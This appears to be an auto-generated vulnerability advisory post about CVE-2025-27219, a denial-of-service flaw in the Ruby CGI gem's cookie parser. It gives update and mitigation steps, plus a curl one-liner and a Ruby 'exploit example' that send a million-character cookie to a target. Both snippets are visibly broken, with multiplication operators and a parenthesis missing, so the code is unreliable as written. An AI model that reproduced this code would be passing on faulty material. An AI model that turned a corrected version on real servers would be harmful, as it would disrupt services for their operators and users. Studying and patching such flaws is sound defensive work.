Ruby CGI Gem, Denial of Service (DoS), CVE-2025-27219 (Critical)

How the CVE Works:

CVE-2025-27219 is a critical vulnerability in the CGI gem for Ruby, specifically in versions before 0.4.2. The issue lies in the `CGI::Cookie.parse` method, which fails to enforce a limit on the length of raw cookie values during parsing. When an attacker sends an excessively large cookie, the method consumes excessive system resources, leading to a Denial of Service (DoS) condition. This can cause the application to become unresponsive or crash, disrupting service availability. The lack of input validation and size restrictions makes this vulnerability exploitable with minimal effort, posing a significant risk to systems using affected versions of the CGI gem.

DailyCVE Form:

Platform: Ruby
Version: CGI gem < 0.4.2
Vulnerability: Denial of Service (DoS)
Severity: Critical
Date: 03/03/2025

(End of form)

What Undercode Say:

Analytics:

• Exploitability: High (requires sending a maliciously large cookie).
• Impact: Critical (can crash applications or servers).
• Affected Systems: Ruby applications using CGI gem versions below 0.4.2.

Commands:

1. Check CGI gem version:

gem list cgi

2. Update CGI gem:

gem update cgi

3. Test for vulnerability:

curl -H "Cookie: $(python3 -c 'print("A"1000000')" http://target-site.com

Code:

• Exploit Example:

  require 'net/http'
  uri = URI('http://target-site.com')
  req = Net::HTTP::Get.new(uri)
  req['Cookie'] = 'A' 1_000_000
  res = Net::HTTP.start(uri.hostname, uri.port) { |http| http.request(req) }
  puts res.body
  

• Patch Example:
  Update the CGI gem to version 0.4.2 or later:

  gem 'cgi', '>= 0.4.2'
  

URLs:

• RubyGems CGI Gem
• CVE-2025-27219 Details
• Ruby Security Advisory

Protection Steps:

1. Update the CGI gem to the latest version.
2. Implement input validation for cookie sizes in your application.
3. Use a Web Application Firewall (WAF) to block malicious requests.
4. Monitor server logs for unusual activity, such as excessively large cookies.
5. Apply rate limiting to mitigate brute-force DoS attacks.
   By following these steps, you can protect your systems from exploitation and ensure service continuity.

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-27219
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